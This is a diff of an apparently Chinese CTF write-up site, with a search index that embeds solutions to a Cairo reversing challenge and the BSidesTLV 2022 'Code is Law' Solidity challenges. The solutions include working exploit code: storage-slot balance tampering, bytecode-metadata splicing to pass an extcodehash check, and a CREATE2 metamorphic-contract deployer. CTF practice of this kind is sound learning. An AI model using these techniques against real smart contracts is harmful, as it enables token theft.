diff --git a/blockchain/paradigm/enterprise_blockchain/index.html b/blockchain/paradigm/enterprise_blockchain/index.html index d196895b..5efb186c 100644 --- a/blockchain/paradigm/enterprise_blockchain/index.html +++ b/blockchain/paradigm/enterprise_blockchain/index.html @@ -3667,6 +3667,12 @@

Solution ... } +pub enum ConfigKind { + ... + DumpState = 4, + Unknown, +} + pub enum AdminCallKind { EmergencyStop = 1, ReloadRuntimeConfig = 2, @@ -3805,7 +3811,7 @@

References2023年12月21日 16:01:29 + 2023年12月27日 10:50:31 diff --git a/search/search_index.json b/search/search_index.json index 46a6526d..02a363a2 100644 --- a/search/search_index.json +++ b/search/search_index.json @@ -1 +1 @@ -{"config":{"indexing":"full","lang":["en"],"min_search_length":3,"prebuild_index":false,"separator":"[\\s\\-]+"},"docs":[{"location":"","text":"Welcome to Chictf-Writeups \u00b6 \ud83d\udc23 Recent Posts \u00b6 {{ blog_content }}","title":"\u9996\u9875"},{"location":"#welcome-to-chictf-writeups","text":"","title":"Welcome to Chictf-Writeups"},{"location":"#recent-posts","text":"{{ blog_content }}","title":"\ud83d\udc23 Recent Posts"},{"location":"how_to_participate/","text":"\u6587\u6863\u5f15\u7528\u4e0e\u5b58\u50a8\u683c\u5f0f \u00b6 \u6587\u4ef6\u540d \u8bf7\u52a1\u5fc5 \u5168\u90e8\u5c0f\u5199 \uff0c\u4ee5 _ \u5206\u5272\u3002 \u4f8b\u5982\uff1a file_name.md \u8bf7\u52a1\u5fc5\u786e\u4fdd\u6587\u6863\u4e2d\u5f15\u7528\u7684 \u5916\u94fe \u56fe\u7247\u5df2\u7ecf\u5168\u90e8\u8f6c\u5b58\u5230\u4e86 \u672c\u5e93\u5185 \u5bf9\u5e94\u7684 img \u6587\u4ef6\u5939\u4e2d\uff0c\u5efa\u8bae\u5904\u7406\u6210 MD \u6587\u6863\u540d\u79f0 + \u7f16\u53f7 \u7684\u5f62\u5f0f\uff08\u53ef\u53c2\u8003\u5df2\u6709\u6587\u6863\u4e2d\u56fe\u7247\u7684\u5904\u7406\u65b9\u5f0f\uff09\u3002\u4f8b\u5982\uff1a\u672c\u7bc7\u6587\u6863\u7684\u6587\u4ef6\u540d\u79f0\u4e3a format \uff0c\u5219\u6587\u6863\u4e2d\u5f15\u7528\u7684\u7b2c\u4e00\u5f20\u56fe\u7247\u7684\u540d\u5b57\u4e3a format01.jpg \u56fe\u7247\u683c\u5f0f\u63a8\u8350\u4f7f\u7528 JPEG \u6587\u6863\u57fa\u672c\u683c\u5f0f\u8981\u6c42 \u00b6 \u6587\u4ef6\u5143\u6570\u636e\u683c\u5f0f\uff0c\u53ef\u53c2\u8003\u5df2\u6709 Writeups --- title: \u9898\u76ee\u6240\u5c5e\u5206\u7c7b - \u9898\u76ee\u540d\u79f0 description: \u6bd4\u8d5b\u5e74\u4efd | \u6bd4\u8d5b\u540d\u79f0 | \u9898\u76ee\u5206\u7c7b --- \u4e0d\u8981\u4f7f\u7528\u5982

\u6216\u8005 # \u6807\u9898 \u7684\u4e00\u7ea7\u6807\u9898 \u6d89\u53ca\u5230\u76ee\u5f55\u66f4\u6539\u65f6 \u9700\u8981\u6539\u52a8 mkdocs.yml","title":"\u5982\u4f55\u53c2\u4e0e"},{"location":"how_to_participate/#_1","text":"\u6587\u4ef6\u540d \u8bf7\u52a1\u5fc5 \u5168\u90e8\u5c0f\u5199 \uff0c\u4ee5 _ \u5206\u5272\u3002 \u4f8b\u5982\uff1a file_name.md \u8bf7\u52a1\u5fc5\u786e\u4fdd\u6587\u6863\u4e2d\u5f15\u7528\u7684 \u5916\u94fe \u56fe\u7247\u5df2\u7ecf\u5168\u90e8\u8f6c\u5b58\u5230\u4e86 \u672c\u5e93\u5185 \u5bf9\u5e94\u7684 img \u6587\u4ef6\u5939\u4e2d\uff0c\u5efa\u8bae\u5904\u7406\u6210 MD \u6587\u6863\u540d\u79f0 + \u7f16\u53f7 \u7684\u5f62\u5f0f\uff08\u53ef\u53c2\u8003\u5df2\u6709\u6587\u6863\u4e2d\u56fe\u7247\u7684\u5904\u7406\u65b9\u5f0f\uff09\u3002\u4f8b\u5982\uff1a\u672c\u7bc7\u6587\u6863\u7684\u6587\u4ef6\u540d\u79f0\u4e3a format \uff0c\u5219\u6587\u6863\u4e2d\u5f15\u7528\u7684\u7b2c\u4e00\u5f20\u56fe\u7247\u7684\u540d\u5b57\u4e3a format01.jpg \u56fe\u7247\u683c\u5f0f\u63a8\u8350\u4f7f\u7528 JPEG","title":"\u6587\u6863\u5f15\u7528\u4e0e\u5b58\u50a8\u683c\u5f0f"},{"location":"how_to_participate/#_2","text":"\u6587\u4ef6\u5143\u6570\u636e\u683c\u5f0f\uff0c\u53ef\u53c2\u8003\u5df2\u6709 Writeups --- title: \u9898\u76ee\u6240\u5c5e\u5206\u7c7b - \u9898\u76ee\u540d\u79f0 description: \u6bd4\u8d5b\u5e74\u4efd | \u6bd4\u8d5b\u540d\u79f0 | \u9898\u76ee\u5206\u7c7b --- \u4e0d\u8981\u4f7f\u7528\u5982

\u6216\u8005 # \u6807\u9898 \u7684\u4e00\u7ea7\u6807\u9898 \u6d89\u53ca\u5230\u76ee\u5f55\u66f4\u6539\u65f6 \u9700\u8981\u6539\u52a8 mkdocs.yml","title":"\u6587\u6863\u57fa\u672c\u683c\u5f0f\u8981\u6c42"},{"location":"blockchain/cairo_reverse/","tags":["reverse"],"text":"#reverse .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Simple cairo reverse starknet-compile 0.9.1 cairo_reverse.zip \u89e3\u9898\u601d\u8def \u00b6 get_flag \u9700\u8981\u77e5\u9053 t \u7684\u503c\uff0c\u8bd5\u56fe\u76f4\u63a5\u5728 contract_compiled.json \u627e t \u6765\u83b7\u5f97\u5bf9\u5e94\u503c\u65e0\u679c Cairo Playground \u53ef\u4ee5\u8fdb\u884c\u7f16\u8bd1\u8c03\u8bd5\uff0c\u53d1\u73b0 Memory \u90e8\u5206\u4e0e contract_compiled.json \u4e2d program \u7684 data \u90e8\u5206\u9ad8\u5ea6\u76f8\u4f3c \u66ff\u6362 CENSORED \u90e8\u5206\u4e3a\u4efb\u610f\u503c\uff0c\u4f7f\u7528 Playground \u8c03\u8bd5 get_flag \uff0c\u53ef\u77e5 0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e \u5bf9\u5e94 t \u7684\u8d1f\u503c %builtins output func get_flag{}(t:felt) -> (res : felt): if t == 1234: return (res=0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + t*t) else: return(res=0) end end func main{output_ptr : felt*}(): get_flag(4321) return () end Cairo \u4e2d\u6574\u578b\u7684\u8303\u56f4\u5728 \\([0, P)\\) \uff0c\u5176\u4e2d \\(P\\) \u4e3a\u7d20\u6570\uff0c\u6807\u51c6\u503c\u4e3a \\(2^{251}+17\\cdot 2^{192} + 1\\) 1 \u901a\u8fc7\u6a21 \\(P\\) \u6765\u6c42 t >>> from Crypto.Util.number import long_to_bytes >>> base = 0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 >>> P = 2 ** 251 + 17 * 2 ** 192 + 1 >>> mt = 0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e >>> t = - mt % P >>> long_to_bytes ( base + t * t ) b 'BALSN {read_data_from_cairo} ' \u5f53\u7136\u4e5f\u53ef\u4ee5\u4f7f\u7528 thoth \u6765 Decompile Flag \u00b6 BALSN{read_data_from_cairo} Introduction to Cairo \u2014 Field elements \u21a9","title":"Cairo Reverse"},{"location":"blockchain/cairo_reverse/#_1","text":"Simple cairo reverse starknet-compile 0.9.1 cairo_reverse.zip","title":"\u9898\u76ee"},{"location":"blockchain/cairo_reverse/#_2","text":"get_flag \u9700\u8981\u77e5\u9053 t \u7684\u503c\uff0c\u8bd5\u56fe\u76f4\u63a5\u5728 contract_compiled.json \u627e t \u6765\u83b7\u5f97\u5bf9\u5e94\u503c\u65e0\u679c Cairo Playground \u53ef\u4ee5\u8fdb\u884c\u7f16\u8bd1\u8c03\u8bd5\uff0c\u53d1\u73b0 Memory \u90e8\u5206\u4e0e contract_compiled.json \u4e2d program \u7684 data \u90e8\u5206\u9ad8\u5ea6\u76f8\u4f3c \u66ff\u6362 CENSORED \u90e8\u5206\u4e3a\u4efb\u610f\u503c\uff0c\u4f7f\u7528 Playground \u8c03\u8bd5 get_flag \uff0c\u53ef\u77e5 0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e \u5bf9\u5e94 t \u7684\u8d1f\u503c %builtins output func get_flag{}(t:felt) -> (res : felt): if t == 1234: return (res=0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + t*t) else: return(res=0) end end func main{output_ptr : felt*}(): get_flag(4321) return () end Cairo \u4e2d\u6574\u578b\u7684\u8303\u56f4\u5728 \\([0, P)\\) \uff0c\u5176\u4e2d \\(P\\) \u4e3a\u7d20\u6570\uff0c\u6807\u51c6\u503c\u4e3a \\(2^{251}+17\\cdot 2^{192} + 1\\) 1 \u901a\u8fc7\u6a21 \\(P\\) \u6765\u6c42 t >>> from Crypto.Util.number import long_to_bytes >>> base = 0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 >>> P = 2 ** 251 + 17 * 2 ** 192 + 1 >>> mt = 0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e >>> t = - mt % P >>> long_to_bytes ( base + t * t ) b 'BALSN {read_data_from_cairo} ' \u5f53\u7136\u4e5f\u53ef\u4ee5\u4f7f\u7528 thoth \u6765 Decompile","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/cairo_reverse/#flag","text":"BALSN{read_data_from_cairo} Introduction to Cairo \u2014 Field elements \u21a9","title":"Flag"},{"location":"blockchain/code_is_law/","tags":["smart contract","hardhat"],"text":"#smart contract #hardhat .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Download the zip file and follow the instructions in the README.md file to solve the solidity challenge. code-is-law-1.zip code-is-law-2.zip OnlyICanHazToken.sol // SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; contract OnlyICanHazToken { function bye () public { selfdestruct ( payable ( msg . sender )); } } index.ts import { expect } from \"chai\" ; import { ethers } from \"hardhat\" ; import { ChallengeToken } from \"../typechain\" ; // This \"Challenge Setup\" block must be left as-is describe ( \"Challenge Setup\" , function () { it ( \"Should deploy ChallengeToken\" , async function () { const ChallengeTokenFactory = await ethers . getContractFactory ( \"ChallengeToken\" , ( await ethers . getSigners ()). pop ()); const challengeToken = await ChallengeTokenFactory . deploy (); await challengeToken . deployed (); }); }); // Try to solve the challenge below this line // Run `npx hardhat ctf-try` to test your solution locally // Run `npx hardhat ctf-try --submit` to submit your solution to the remote CTF node and get the real flag describe ( \"Solve Challenge\" , function () { let challengeToken : ChallengeToken ; it ( \"Should return the winning flag\" , async function () { challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); const returnedFlag = await challengeToken . did_i_win () console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) }); }); Code is Law 1 \u00b6 ChallengeToken.sol // SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"hardhat/console.sol\" ; contract ChallengeToken is ERC20 { bytes32 private onlyICanHazTokenContractCodeHash = 0x1431A52467B8E0B496D710A30B897A6EB093CD9137FBF9B34B47441FD5E868F3 ; constructor () ERC20 ( \"ChallengeToken\" , \"BSIDES2022\" ) {} function did_i_win () public view returns ( string memory ) { if ( balanceOf ( msg . sender ) == 0 ) { revert ( \"you shall not pass\" ); } return \"BSidesTLV2022{PLACEHOLDER}\" ; } function can_i_haz_token ( address receiver ) public { require ( receiver == calculateAddressOfTheFirstContractDeployedBy ( tx . origin ), \"receiver is ineligible for a token because they are not the first contract deployed by the EOA who initiated this transaction\" ); require ( getContractCodeHash ( receiver ) == onlyICanHazTokenContractCodeHash , \"receiver is ineligible for a token because their codehash does not match the specific contract codehash required\" ); if ( balanceOf ( receiver ) == 0 ) { _mint ( receiver , 1 ); } } function getContractCodeHash ( address contractAddress ) private view returns ( bytes32 callerContractCodeHash ) { assembly { callerContractCodeHash := extcodehash ( contractAddress ) } } // Copied from https://ethereum.stackexchange.com/a/87840 function calculateAddressOfTheFirstContractDeployedBy ( address deployer ) private pure returns ( address _address ) { bytes32 hash = keccak256 ( abi . encodePacked ( bytes1 ( 0xd6 ), bytes1 ( 0x94 ), deployer , bytes1 ( 0x80 )) ); assembly { mstore ( 0 , hash ) _address := mload ( 0 ) } } } Code is Law 2 \u00b6 ChallengeToken.sol //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"hardhat/console.sol\" ; contract ChallengeToken is ERC20 { bytes32 private onlyICanHazTokenContractCodeHash = 0x1431A52467B8E0B496D710A30B897A6EB093CD9137FBF9B34B47441FD5E868F3 ; constructor () ERC20 ( \"ChallengeToken\" , \"BSIDES2022\" ) {} function did_i_win () public view returns ( string memory ) { if ( balanceOf ( msg . sender ) == 0 ) { revert ( \"you shall not pass\" ); } return \"BSidesTLV2022{PLACEHOLDER}\" ; } function can_i_haz_token ( address receiver ) public { require ( getContractCodeHash ( receiver ) == onlyICanHazTokenContractCodeHash , \"receiver is ineligible for a token because their codehash does not match the specific contract codehash required\" ); if ( balanceOf ( receiver ) == 0 ) { _mint ( receiver , 1 ); } } function getContractCodeHash ( address contractAddress ) private view returns ( bytes32 callerContractCodeHash ) { assembly { callerContractCodeHash := extcodehash ( contractAddress ) } } function approve ( address spender , uint256 amount ) public override returns ( bool ) { return false ; } } \u89e3\u9898\u601d\u8def English ver. \u00b6 \u5f53 ChallengeToken.did_i_win() \u7684 msg.sender \u6240\u5728\u5730\u5740\u6301\u6709 token \u65f6\u5c31\u80fd\u83b7\u5f97 flag \u9996\u5148\u5206\u6790 Code is Law 1 \u7684 ChallengeToken \u5408\u7ea6 ChallengeToken \u901a\u8fc7\u51fd\u6570 can_i_haz_token \u53d1\u653e token \uff0c\u4f46\u53ea\u6709\u5408\u7ea6 receiver \u5728 tx.origin \u521d\u6b21\u90e8\u7f72\u5408\u7ea6\u7684\u5730\u5740\u4e0a\uff0c\u4e14\u5408\u7ea6\u4ee3\u7801\u7684\u54c8\u5e0c\u503c\u4e0e onlyICanHazTokenContractCodeHash \u76f8\u7b49\u65f6\u624d\u80fd\u83b7\u5f97 \u90a3\u4e48\uff0c\u5148\u8ba9\u5408\u7ea6 OnlyICanHazToken \u83b7\u5f97 token \u518d\u8f6c\u79fb\u5462\uff1f\u4f46 selfdestruct(payable(msg.sender)) \u53ea\u80fd\u8f6c\u79fb\u4ee5\u592a\u5e01\uff0c\u65e0\u6cd5\u8f6c\u79fb token \u518d\u56de\u5934\u770b\u770b ChallengeToken \u7684 getContractCodeHash \u548c calculateAddressOfTheFirstContractDeployedBy \u4f3c\u4e4e\u4e5f\u6ca1\u6709\u4ec0\u4e48\u95ee\u9898\uff0c ERC20 \u5c31\u66f4\u4e0d\u53ef\u80fd\u4e86 uwu \u6700\u540e\u628a\u6ce8\u610f\u529b\u8f6c\u79fb\u5230\u4e86 hardhat \u4e0a\uff0c\u53d1\u73b0\u4e86\u80fd\u4fee\u6539\u5408\u7ea6\u5b58\u50a8\u7684 hardhat_setStorageAt 1 \uff08\u662f\u795e (\u2565\u03c9\u2565)\uff09\uff0c\u7ed3\u5408\u5408\u7ea6\u53d8\u91cf\u7684\u5b58\u50a8\u4f4d\u7f6e\u3001\u65b9\u5f0f\u76f4\u63a5\u4fee\u6539\u4f59\u989d\u5c31\u597d\u4e86\uff01 it ( \"Should return the winning flag\" , async function () { challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); let [ player ] = await ethers . getSigners (); let playerHash = await ethers . utils . solidityKeccak256 ([ \"uint256\" , \"uint\" ], [ player . address , 0 ]); await ethers . provider . send ( \"hardhat_setStorageAt\" , [ challengeToken . address , playerHash , ethers . utils . hexZeroPad ( ethers . utils . hexlify ( 1 ), 32 )]); const returnedFlag = await challengeToken . did_i_win () console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) }); ChallengeToken \u7ee7\u627f\u81ea ERC20 \uff0c\u53d8\u91cf _balances \u7528\u4e8e\u5b58\u50a8\u5404\u4e2a\u8d26\u6237\u5730\u5740\u5bf9\u5e94\u7684\u4f59\u989d _balances \u4e3a mapping \u7c7b\u578b\uff0c\u5360\u7528 slot 0 \uff0c\u90a3\u4e48\u5730\u5740 A \u7684\u4f59\u989d\u5b58\u50a8\u4f4d\u7f6e\u5728 keccak256(A | 0) \uff0c | \u8868\u793a\u8fde\u63a5 Code is Law 2 \u4e0e Code is Law 1 \u76f8\u6bd4\uff0c\u53ea\u4fee\u6539\u4e86 ChallengeToken \u53d1\u653e token \u7684\u89c4\u5219\u5e76\u7981\u7528\u4e86 approve \uff0c\u56e0\u800c\u4fee\u6539\u5b58\u50a8\u7684\u65b9\u6cd5\u4ecd\u7136\u9002\u7528 =\uff09 \u770b\u4e86\u5b98\u65b9 WP 2 3 \u518d\u6765\u8865\u5145\u4e00\u4e0b =\u03c9= Code is Law 1 \u00b6 \u5173\u952e\u70b9\u5728\u4e8e\u6784\u9020\u51fd\u6570\u4e0d\u662f\u5408\u7ea6\u4ee3\u7801\u7684\u4e00\u90e8\u5206\uff0c\u56e0\u6b64\u53ef\u4ee5\u5728 OnlyICanHazToken \u7684\u6784\u9020\u51fd\u6570\u4e2d approve \u6269\u5c55\u5408\u7ea6 OnlyICanHazToken //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"./ChallengeToken.sol\" ; contract ExtOnlyICanHazToken { constructor () { ChallengeToken ( 0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f ). approve ( msg . sender , 1 ); } function bye () public { selfdestruct ( payable ( msg . sender )); } } \u4e0d\u8fc7\uff0c\u76f4\u63a5\u4f7f\u7528\u5408\u7ea6 ExtOnlyICanHazToken \u4ecd\u7136\u4f1a\u5f97\u5230\u62a5\u9519 receiver is ineligible for a token because their codehash does not match the specific contract codehash required :( \u6253\u5370\u5408\u7ea6 OnlyICanHazToken \u548c ExtOnlyICanHazToken \u7684\u5b57\u8282\u7801\u8fdb\u884c\u5bf9\u6bd4 console . log (( await ethers . getContractFactory ( \"OnlyICanHazToken\" )). bytecode ); // 0x6080604052348015600f57600080fd5b5060848061001e6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea26469706673582212208288fb767ec1f00b6068ee0de53f59961ced5ec5d3e1770e0a0a46ede725d1ff64736f6c63430008040033 console . log (( await ethers . getContractFactory ( \"ExtOnlyICanHazToken\" )). bytecode ); // 0x608060405234801561001057600080fd5b507373511669fd4de447fed18bb79bafeac93ab7f31f73ffffffffffffffffffffffffffffffffffffffff1663095ea7b33360016040518363ffffffff1660e01b8152600401610061929190610115565b602060405180830381600087803b15801561007b57600080fd5b505af115801561008f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100b391906100ce565b506101af565b6000815190506100c881610198565b92915050565b6000602082840312156100e057600080fd5b60006100ee848285016100b9565b91505092915050565b6101008161013e565b82525050565b61010f81610186565b82525050565b600060408201905061012a60008301856100f7565b6101376020830184610106565b9392505050565b60006101498261015c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006101918261017c565b9050919050565b6101a181610150565b81146101ac57600080fd5b50565b6084806101bd6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220497d6dee22cd21fcfafd049f00aefcfe7425aa5efdc817d1afe4473a9e7ceb2964736f6c63430008040033 \u5b57\u8282\u7801 39 \u5c06\u5408\u7ea6\u4ee3\u7801\u62f7\u8d1d\u5230\u5185\u5b58\u4e2d\uff0c\u6240\u4ee5\u6bd4\u8f83\u4e24\u4efd\u5408\u7ea6\u4ee3\u7801\u6700\u540e\u4e00\u4e2a 39 \u540e\u7684\u5b57\u8282\u7801\uff0c\u53d1\u73b0\u6709\u4e00\u5c0f\u6bb5\u5dee\u5f02 6000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220_8288fb767ec1f00b6068ee0de53f59961ced5ec5d3e1770e0a0a46ede725d1ff_64736f6c63430008040033 6000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220_497d6dee22cd21fcfafd049f00aefcfe7425aa5efdc817d1afe4473a9e7ceb29_64736f6c63430008040033 \u7f16\u8bd1\u5668\u9ed8\u8ba4\u4f1a\u5c06 metadata \u6587\u4ef6\u7684 IPFS \u54c8\u5e0c\u6dfb\u52a0\u5230\u5b57\u8282\u7801\u7684\u672b\u5c3e 4 \uff0c v0.8.0 \u7248\u672c\u7684\u7f16\u8bd1\u5668\u901a\u5e38\u6309\u5982\u4e0b\u683c\u5f0f\u6dfb\u52a0 0xa2 0x64 'ipfs'(69706673) 0x58 0x22 <34 bytes IPFS hash> 0x64 'solc'(736f6c63) 0x43 <3 byte version encoding> 0x00 0x33 \u4e3a\u4e86\u901a\u8fc7 extcodehash \u7684\u68c0\u67e5\uff0c\u53ef\u4ee5\u4f7f\u7528 OnlyICanHazToken \u8986\u76d6 ExtOnlyICanHazToken IPFS \u54c8\u5e0c\u90e8\u5206\u7684\u5b57\u8282\u7801 it ( \"Should return the winning flag\" , async function () { let onlyICanHazTokenFactory = await ethers . getContractFactory ( 'OnlyICanHazToken' ); let extOnlyICanHazTokenFactory = await ethers . getContractFactory ( 'ExtOnlyICanHazToken' ); let [ player ] = await ethers . getSigners (); const ExtOnlyICanHazTokenFactory = new ethers . ContractFactory ( onlyICanHazTokenFactory . interface , extOnlyICanHazTokenFactory . bytecode . substring ( 0 , extOnlyICanHazTokenFactory . bytecode . length - 100 ) + onlyICanHazTokenFactory . bytecode . substring ( onlyICanHazTokenFactory . bytecode . length - 100 ), player ); let extOnlyICanHazToken = await ExtOnlyICanHazTokenFactory . deploy (); await extOnlyICanHazToken . deployed (); challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); await challengeToken . can_i_haz_token ( extOnlyICanHazToken . address ); await challengeToken . transferFrom ( extOnlyICanHazToken . address , player . address , 1 ); const returnedFlag = await challengeToken . did_i_win () console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) }); Code is Law 2 \u00b6 approve \u88ab\u7981\u7528\u4e86\uff0c\u4f46\u53d1\u653e token \u7684\u89c4\u5219\u6709\u6240\u5bbd\u9650\uff0c\u4e0d\u518d\u9700\u8981\u662f tx.origin \u521d\u6b21\u90e8\u7f72\u7684\u5408\u7ea6 \u4e0d\u8fc7 Code is Law 1 \u4e2d calculateAddressOfTheFirstContractDeployedBy \u4f9d\u636e\u7684\u662f CREATE \u64cd\u4f5c\u7801\u7684\u5730\u5740\u8ba1\u7b97\u89c4\u5219\uff0c\u5373\u65b0\u5408\u7ea6\u7684\u5730\u5740\u4e0e\u5408\u7ea6\u521b\u5efa\u8005\u7684\u5730\u5740\u548c\u7531\u521b\u5efa\u8005\u53d1\u8d77\u7684\u4ea4\u6613\u7684\u6570\u91cf\u6709\u5173\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5408\u7ea6\u8fd8\u53ef\u4ee5\u901a\u8fc7 CREATE2 \u64cd\u4f5c\u7801\u521b\u5efa\uff0c\u6b64\u65f6\u7684\u5408\u7ea6\u5730\u5740\u4e0e\u5408\u7ea6\u521b\u5efa\u8005\u7684\u5730\u5740\u3001\u53c2\u6570 salt \u548c\u5408\u7ea6\u521b\u5efa\u4ee3\u7801\u6709\u5173\uff0c\u82e5\u4fdd\u6301\u5408\u7ea6\u521b\u5efa\u4ee3\u7801\u4e0d\u53d8\uff0c\u4e14\u6784\u9020\u51fd\u6570\u8fd4\u56de\u7684\u8fd0\u884c\u65f6\u5b57\u8282\u7801\u53ef\u63a7\uff0c\u5c31\u53ef\u4ee5\u5728\u540c\u4e00\u5730\u5740\u4e0a\u53cd\u590d\u90e8\u7f72\u5b8c\u5168\u4e0d\u540c\u7684\u5408\u7ea6 \u63a5\u4e0b\u6765\u601d\u8def\u5c31\u5f88\u6e05\u6670\u5566\uff0c\u5148\u5229\u7528 CREATE2 \u90e8\u7f72 OnlyICanHazToken \u5e76\u5728\u53d6\u5f97 token \u540e selfdestruct \uff0c\u518d\u5728\u76f8\u540c\u5730\u5740\u4e0a\u90e8\u7f72\u65b0\u7684\u5408\u7ea6\u6765\u8f6c\u79fb token \u5408\u7ea6 Deployer \u8d1f\u8d23\u90e8\u7f72\u6307\u5b9a\u5408\u7ea6 //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; contract Deployer { mapping ( address => address ) _implementations ; address public deployAddr ; // will be called by the metamorphic Contract function getImplementation () external view returns ( address implementation ) { return _implementations [ msg . sender ]; } function _getMetamorphicContractAddress ( uint256 salt , bytes memory metamorphicCode ) internal view returns ( address ) { // determine the address of the metamorphic contract. return address ( uint160 ( uint256 ( keccak256 ( abi . encodePacked ( hex \"ff\" , address ( this ), salt , keccak256 ( abi . encodePacked ( metamorphicCode ))))))); } function deploy ( bytes calldata bytecode , uint256 salt ) public { bytes memory implInitCode = bytecode ; // assign the initialization code for the metamorphic contract. bytes memory metamorphicCode = ( hex \"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3\" // here 3c (extcodecopy) is used, not 39 (codecopy) ); // declare a variable for the address of the implementation contract. address implementationContract ; // load implementation init code and length, then deploy via CREATE. assembly { implementationContract := create ( 0 , add ( 0x20 , implInitCode ), mload ( implInitCode )) } address metamorphicContractAddress = _getMetamorphicContractAddress ( salt , metamorphicCode ); // first we deploy the code we want to deploy on a separate address // store the implementation to be retrieved by the metamorphic contract. _implementations [ metamorphicContractAddress ] = implementationContract ; address addr ; assembly { addr := create2 ( 0 , // send 0 wei add ( 0x20 , metamorphicCode ), // load initialization code. mload ( metamorphicCode ), // load init code's length. salt ) } deployAddr = addr ; } } \u5408\u7ea6 Withdrawer \u7528\u4e8e\u8f6c\u79fb token \uff0c\u5728 OnlyICanHazToken \u5b9e\u4f8b\u81ea\u6bc1\u540e\u7531 Deployer \u90e8\u7f72\u5230\u539f OnlyICanHazToken \u5b9e\u4f8b\u6240\u5728\u7684\u5730\u5740 //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"./ChallengeToken.sol\" ; contract Withdrawer { function withdraw () public { ChallengeToken ( 0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f ). transfer ( msg . sender , 1 ); } } \u5408\u7ea6\u4ea4\u4e92\u8fc7\u7a0b it ( \"Should return the winning flag\" , async function () { challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); let salt = 1 ; let deployerFactory = await ethers . getContractFactory ( \"Deployer\" ); let deployer = await deployerFactory . deploy (); await deployer . deployed (); let onlyICanHazTokenFactory = await ethers . getContractFactory ( 'OnlyICanHazToken' ); await deployer . deploy ( onlyICanHazTokenFactory . bytecode , salt ); let deployAddr = await deployer . deployAddr (); challengeToken . can_i_haz_token ( deployAddr ); let onlyICanHazToken = await ethers . getContractAt ( \"OnlyICanHazToken\" , deployAddr ); await onlyICanHazToken . bye (); let withdrawerFactory = await ethers . getContractFactory ( 'Withdrawer' ); await deployer . deploy ( withdrawerFactory . bytecode , salt ); let withdrawer = await ethers . getContractAt ( \"Withdrawer\" , deployAddr ); await withdrawer . withdraw (); const returnedFlag = await challengeToken . did_i_win (); console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) }); Flag \u00b6 Code is Law 1 \u00b6 BSidesTLV2022{c0nstUct!v3_m@g!3_ind3ed} Code is Law 2 \u00b6 BSidesTLV2022{W!L3_M@g!3_in_the_w3rld} \u53c2\u8003\u8d44\u6599 \u00b6 ContractFactory | ethers EVM Dialect Overwriting Smart Contracts Local ERC20 Balance Manipulation (with HardHat) \u21a9 Code is Law 1: Solidity CTF Challenge Writeup | by Oren Yomtov \u21a9 Code is Law 2: Solidity CTF Challenge Writeup | by Oren Yomtov \u21a9 Contract Metadata \u21a9","title":"Code is Law"},{"location":"blockchain/code_is_law/#_1","text":"Download the zip file and follow the instructions in the README.md file to solve the solidity challenge. code-is-law-1.zip code-is-law-2.zip OnlyICanHazToken.sol // SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; contract OnlyICanHazToken { function bye () public { selfdestruct ( payable ( msg . sender )); } } index.ts import { expect } from \"chai\" ; import { ethers } from \"hardhat\" ; import { ChallengeToken } from \"../typechain\" ; // This 